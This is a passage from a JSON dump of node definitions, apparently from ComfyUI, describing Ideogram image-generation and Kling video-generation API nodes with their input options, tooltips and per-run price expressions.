generation. If not set to AUTO, this overrides the aspect_ratio setting.", "default": "Auto", "multiselect": false, "options": ["Auto", "512 x 1536", "576 x 1408", "576 x 1472", "576 x 1536", "640 x 1024", "640 x 1344", "640 x 1408", "640 x 1472", "640 x 1536", "704 x 1152", "704 x 1216", "704 x 1280", "704 x 1344", "704 x 1408", "704 x 1472", "720 x 1280", "736 x 1312", "768 x 1024", "768 x 1088", "768 x 1152", "768 x 1216", "768 x 1232", "768 x 1280", "768 x 1344", "832 x 960", "832 x 1024", "832 x 1088", "832 x 1152", "832 x 1216", "832 x 1248", "864 x 1152", "896 x 960", "896 x 1024", "896 x 1088", "896 x 1120", "896 x 1152", "960 x 832", "960 x 896", "960 x 1024", "960 x 1088", "1024 x 640", "1024 x 768", "1024 x 832", "1024 x 896", "1024 x 960", "1024 x 1024", "1088 x 768", "1088 x 832", "1088 x 896", "1088 x 960", "1120 x 896", "1152 x 704", "1152 x 768", "1152 x 832", "1152 x 864", "1152 x 896", "1216 x 704", "1216 x 768", "1216 x 832", "1232 x 768", "1248 x 832", "1280 x 704", "1280 x 720", "1280 x 768", "1280 x 800", "1312 x 736", "1344 x 640", "1344 x 704", "1344 x 768", "1408 x 576", "1408 x 640", "1408 x 704", "1472 x 576", "1472 x 640", "1472 x 704", "1536 x 512", "1536 x 576", "1536 x 640"]}], "magic_prompt_option": ["COMBO", {"tooltip": "Determine if MagicPrompt should be used in generation", "advanced": true, "default": "AUTO", "multiselect": false, "options": ["AUTO", "ON", "OFF"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "style_type": ["COMBO", {"tooltip": "Style type for generation (V2 only)", "advanced": true, "default": "NONE", "multiselect": false, "options": ["AUTO", "GENERAL", "REALISTIC", "DESIGN", "RENDER_3D", "ANIME"]}], "negative_prompt": ["STRING", {"tooltip": "Description of what to exclude from the image", "default": "", "multiline": true}], "num_images": ["INT", {"default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "turbo"], "optional": ["aspect_ratio", "resolution", "magic_prompt_option", "seed", "style_type", "negative_prompt", "num_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV2", "display_name": "Ideogram V2", "description": "Generates images using the Ideogram V2 model.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "num_images", "type": "INT"}, {"name": "turbo", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $n := widgets.num_images;\n $base := (widgets.turbo = true) ? 0.0715 : 0.1144;\n {\"type\":\"usd\",\"usd\": $round($base * $n, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV3": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or editing", "default": "", "multiline": true}]}, "optional": {"image": ["IMAGE", {"tooltip": "Optional reference image for image editing."}], "mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced)"}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for image generation. Ignored if resolution is not set to Auto.", "default": "1:1", "multiselect": false, "options": ["1:3", "3:1", "1:2", "2:1", "9:16", "16:9", "10:16", "16:10", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "1:1"]}], "resolution": ["COMBO", {"tooltip": "The resolution for image generation. If not set to Auto, this overrides the aspect_ratio setting.", "default": "Auto", "multiselect": false, "options": ["Auto", "512x1536", "576x1408", "576x1472", "576x1536", "640x1344", "640x1408", "640x1472", "640x1536", "704x1152", "704x1216", "704x1280", "704x1344", "704x1408", "704x1472", "736x1312", "768x1088", "768x1216", "768x1280", "768x1344", "800x1280", "832x960", "832x1024", "832x1088", "832x1152", "832x1216", "832x1248", "864x1152", "896x960", "896x1024", "896x1088", "896x1120", "896x1152", "960x832", "960x896", "960x1024", "960x1088", "1024x832", "1024x896", "1024x960", "1024x1024", "1088x768", "1088x832", "1088x896", "1088x960", "1120x896", "1152x704", "1152x832", "1152x864", "1152x896", "1216x704", "1216x768", "1216x832", "1248x832", "1280x704", "1280x768", "1280x800", "1312x736", "1344x640", "1344x704", "1344x768", "1408x576", "1408x640", "1408x704", "1472x576", "1472x640", "1472x704", "1536x512", "1536x576", "1536x640"]}], "magic_prompt_option": ["COMBO", {"tooltip": "Determine if MagicPrompt should be used in generation", "advanced": true, "default": "AUTO", "multiselect": false, "options": ["AUTO", "ON", "OFF"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "num_images": ["INT", {"default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "rendering_speed": ["COMBO", {"tooltip": "Controls the trade-off between generation speed and quality", "advanced": true, "default": "DEFAULT", "multiselect": false, "options": ["DEFAULT", "TURBO", "QUALITY"]}], "character_image": ["IMAGE", {"tooltip": "Image to use as character reference."}], "character_mask": ["MASK", {"tooltip": "Optional mask for character reference image."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["image", "mask", "aspect_ratio", "resolution", "magic_prompt_option", "seed", "num_images", "rendering_speed", "character_image", "character_mask"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV3", "display_name": "Ideogram V3", "description": "Generates images using the Ideogram V3 model. Supports both regular image generation from text prompts and image editing with mask.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "rendering_speed", "type": "COMBO"}, {"name": "num_images", "type": "INT"}], "inputs": ["character_image"], "input_groups": []}, "expr": "\n (\n $n := widgets.num_images;\n $speed := widgets.rendering_speed;\n $hasChar := inputs.character_image.connected;\n $base :=\n $contains($speed,\"quality\") ? ($hasChar ? 0.286 : 0.1287) :\n $contains($speed,\"default\") ? ($hasChar ? 0.2145 : 0.0858) :\n $contains($speed,\"turbo\") ? ($hasChar ? 0.143 : 0.0429) :\n 0.0858;\n {\"type\":\"usd\",\"usd\": $round($base * $n, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV4": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the image generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "Auto", "multiselect": false, "options": ["Auto", "2048x2048 (1:1)", "1440x2880 (1:2)", "2880x1440 (2:1)", "1664x2496 (2:3)", "2496x1664 (3:2)", "1792x2240 (4:5)", "2240x1792 (5:4)", "1440x2560 (9:16)", "2560x1440 (16:9)", "1600x2560 (5:8)", "2560x1600 (8:5)", "1728x2304 (3:4)", "2304x1728 (4:3)", "1296x3168 (9:22)", "3168x1296 (22:9)", "1152x2944 (9:23)", "2944x1152 (23:9)", "1248x3328 (3:8)", "3328x1248 (8:3)", "1280x3072 (5:12)", "3072x1280 (12:5)"]}], "rendering_speed": ["COMBO", {"tooltip": "Controls the trade-off between generation speed and quality.", "default": "DEFAULT", "multiselect": false, "options": ["DEFAULT", "TURBO", "QUALITY"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "resolution", "rendering_speed", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV4", "display_name": "Ideogram V4", "description": "Generates images using the Ideogram 4.0 model from a text prompt.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "rendering_speed", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $speed := widgets.rendering_speed;\n $price :=\n $contains($speed,\"turbo\") ? 0.0429 :\n $contains($speed,\"quality\") ? 0.143 :\n 0.0858;\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingCameraControls": {"input": {"required": {"camera_control_type": ["COMBO", {"multiselect": false, "options": ["simple", "down_back", "forward_up", "right_turn_forward", "left_turn_forward"]}], "horizontal_movement": ["FLOAT", {"tooltip": "Controls camera's movement along horizontal axis (x-axis). Negative indicates left, positive indicates right", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "vertical_movement": ["FLOAT", {"tooltip": "Controls camera's movement along vertical axis (y-axis). Negative indicates downward, positive indicates upward.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "pan": ["FLOAT", {"tooltip": "Controls camera's rotation in vertical plane (x-axis). Negative indicates downward rotation, positive indicates upward rotation.", "default": 0.5, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "tilt": ["FLOAT", {"tooltip": "Controls camera's rotation in horizontal plane (y-axis). Negative indicates left rotation, positive indicates right rotation.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "roll": ["FLOAT", {"tooltip": "Controls camera's rolling amount (z-axis). Negative indicates counterclockwise, positive indicates clockwise.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "zoom": ["FLOAT", {"tooltip": "Controls change in camera's focal length. Negative indicates narrower field of view, positive indicates wider field of view.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}]}}, "input_order": {"required": ["camera_control_type", "horizontal_movement", "vertical_movement", "pan", "tilt", "roll", "zoom"]}, "is_input_list": false, "output": ["CAMERA_CONTROL"], "output_is_list": [false], "output_name": ["camera_control"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingCameraControls", "display_name": "Kling Camera Controls", "description": "Allows specifying configuration options for Kling Camera Controls and motion control effects.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingTextToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "mode": ["COMBO", {"tooltip": "The configuration to use for the video generation following the format: mode / duration / model_name.", "default": "pro mode / 5s duration / kling-v2-5-turbo", "multiselect": false, "options": ["standard mode / 5s duration / kling-v1-6", "standard mode / 10s duration / kling-v1-6", "pro mode / 5s duration / kling-v2-master", "pro mode / 10s duration / kling-v2-master", "standard mode / 5s duration / kling-v2-master", "standard mode / 10s duration / kling-v2-master", "pro mode / 5s duration / kling-v2-1-master", "pro mode / 10s duration / kling-v2-1-master", "pro mode / 5s duration / kling-v2-5-turbo", "pro mode / 10s duration / kling-v2-5-turbo"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "mode"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingTextToVideoNode", "display_name": "Kling Text to Video", "description": "Kling Text to Video Node", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.mode;\n $contains($m,\"v2-5-turbo\")\n ? ($contains($m,\"10\") ? {\"type\":\"usd\",\"usd\":0.7} : {\"type\":\"usd\",\"usd\":0.35})\n : $contains($m,\"v2-1-master\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : $contains($m,\"v2-master\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : $contains($m,\"v1-6\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($m,\"v1\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingImage2VideoNode": {"input": {"required": {"start_frame": ["IMAGE", {"tooltip": "The reference image used to generate the video."}], "prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "model_name": ["COMBO", {"default": "kling-v2-master", "multiselect": false, "options": ["kling-v1", "kling-v1-5", "kling-v1-6", "kling-v2-master", "kling-v2-1", "kling-v2-1-master", "kling-v2-5-turbo"]}], "cfg_scale": ["FLOAT", {"default": 0.8, "min": 0.0, "max": 1.0}], "mode": ["COMBO", {"default": "std", "multiselect": false, "options": ["std", "pro"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["COMBO", {"default": "5", "multiselect": false, "options": ["5", "10"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["start_frame", "prompt", "negative_prompt", "model_name", "cfg_scale", "mode", "aspect_ratio", "duration"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingImage2VideoNode", "display_name": "Kling Image(First Frame) to Video", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := widgets.mode;\n $model := widgets.model_name;\n $dur := widgets.duration;\n $contains($model,\"v2-5-turbo\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.7} : {\"type\":\"usd\",\"usd\":0.35})\n : ($contains($model,\"v2-1-master\") or $contains($model,\"v2-master\"))\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : ($contains($model,\"v2-1\") or $contains($model,\"v1-6\") or $contains($model,\"v1-5\"))\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($model,\"v1\")\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingCameraControlI2VNode": {"input": {"required": {"start_frame": ["IMAGE", {"tooltip": "Reference Image - URL or Base64 encoded string, cannot exceed 10MB, resolution not less than 300*300px, aspect ratio between 1:2.5 ~ 2.5:1. Base64 should not include data:image prefix."}], "prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.75, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "camera_control": ["CAMERA_CONTROL", {"tooltip": "Can be created using the Kling Camera Controls node. Controls the camera movement and motion during the video generation."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["start_frame", "prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "camera_control"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingCameraControlI2VNode", "display_name": "Kling Image to Video (Camera Control)", "description": "Transform still images into cinematic videos with professional camera movements that simulate real-world cinematography. Control virtual camera actions including zoom, rotation, pan, tilt, and first-person view, while maintaining focus on your original image.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.49}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingCameraControlT2VNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.75, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "camera_control": ["CAMERA_CONTROL", {"tooltip": "Can be created using the Kling Camera Controls node. Controls the camera movement and motion during the video generation."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "camera_control"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingCameraControlT2VNode", "display_name": "Kling Text to Video (Camera Control)", "description": "Transform text into cinematic videos with professional camera movements that simulate real-world cinematography. Control virtual camera actions including zoom, rotation, pan, tilt, and first-person view, while maintaining focus on your original text.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.14}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingStartEndFrameNode": {"input": {"required": {"start_frame": ["IMAGE", {"tooltip": "Reference Image - URL or Base64 encoded string, cannot exceed 10MB, resolution not less than 300*300px, aspect ratio between 1:2.5 ~ 2.5:1. Base64 should not include data:image prefix."}], "end_frame": ["IMAGE", {"tooltip": "Reference Image - End frame control. URL or Base64 encoded string, cannot exceed 10MB, resolution not less than 300*300px. Base64 should not include data:image prefix."}], "prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "mode": ["COMBO", {"tooltip": "The configuration to use for the video generation following the format: mode / duration / model_name.", "default": "pro mode / 5s duration / kling-v2-5-turbo", "multiselect": false, "options": ["pro mode / 5s duration / kling-v1-5", "pro mode / 10s duration / kling-v1-5", "pro mode / 5s duration / kling-v1-6", "pro mode / 10s duration / kling-v1-6", "pro mode / 5s duration / kling-v2-1", "pro mode / 10s duration / kling-v2-1", "pro mode / 5s duration / kling-v2-5-turbo", "pro mode / 10s duration / kling-v2-5-turbo"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["start_frame", "end_frame", "prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "mode"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingStartEndFrameNode", "display_name": "Kling Start-End Frame to Video", "description": "Generate a video sequence that transitions between your provided start and end images. The node creates all frames in between, producing a smooth transformation from the first frame to the last.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.mode;\n $contains($m,\"v2-5-turbo\")\n ? ($contains($m,\"10\") ? {\"type\":\"usd\",\"usd\":0.7} : {\"type\":\"usd\",\"usd\":0.35})\n : $contains($m,\"v2-1\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : $contains($m,\"v2-master\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : $contains($m,\"v1-6\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($m,\"v1\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingVideoExtendNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt for guiding the video extension", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt for elements to avoid in the extended video", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0}], "video_id": ["STRING", {"tooltip": "The ID of the video to be extended. Supports videos generated by text-to-video, image-to-video, and previous video extension operations. Cannot exceed 3 minutes total duration after extension.", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "cfg_scale", "video_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingVideoExtendNode", "display_name": "Kling Video Extend", "description": "Kling Video Extend Node. Extend videos made by other Kling nodes. The video_id is created by using other Kling Nodes.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.28}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingLipSyncAudioToVideoNode": {"input": {"required": {"video": ["VIDEO", {}], "audio": ["AUDIO", {}], "voice_language": ["COMBO", {"default": "en", "multiselect": false, "options": ["zh", "en"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "audio", "voice_language"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingLipSyncAudioToVideoNode", "display_name": "Kling Lip Sync Video with Audio", "description": "Kling Lip Sync Audio to Video Node. Syncs mouth movements in a video file to the audio content of an audio file. When using, ensure that the audio contains clearly distinguishable vocals and that the video contains a distinct face. The audio file should not be larger than 5MB. The video file should not be larger than 100MB, should have height/width between 720px and 1920px, and should be between 2s and 10s in length.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.1,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": "Video Generation", "has_intermediate_output": false}, "KlingLipSyncTextToVideoNode": {"input": {"required": {"video": ["VIDEO", {}], "text": ["STRING", {"tooltip": "Text Content for Lip-Sync Video Generation. Required when mode is text2video. Maximum length is 120 characters.", "multiline": true}], "voice": ["COMBO", {"default": "Melody", "multiselect": false, "options": ["Melody", "Sunny", "Sage", "Ace", "Blossom", "Peppy", "Dove", "Shine", "Anchor", "Lyric", "Tender", "Siren", "Zippy", "Bud", "Sprite", "Candy", "Beacon", "Rock", "Titan", "Grace", "Helen", "Lore", "Crag", "Prattle", "Hearth", "The Reader", "Commercial Lady", "\u9633\u5149\u5c11\u5e74", "\u61c2\u4e8b\u5c0f\u5f1f", "\u8fd0\u52a8\u5c11\u5e74", "\u9752\u6625\u5c11\u5973", "\u6e29\u67d4\u5c0f\u59b9", "\u5143\u6c14\u5c11\u5973", "\u9633\u5149\u7537\u751f", "\u5e7d\u9ed8\u5c0f\u54e5", "\u6587\u827a\u5c0f\u54e5", "\u751c\u7f8e\u90bb\u5bb6", "\u6e29\u67d4\u59d0\u59d0", "\u804c\u573a\u5973\u9752", "\u6d3b\u6cfc\u7537\u7ae5", "\u4fcf\u76ae\u5973\u7ae5", "\u7a33\u91cd\u8001\u7238", "\u6e29\u67d4\u5988\u5988", "\u4e25\u8083\u4e0a\u53f8", "\u4f18\u96c5\u8d35\u5987", "\u6148\u7965\u7237\u7237", 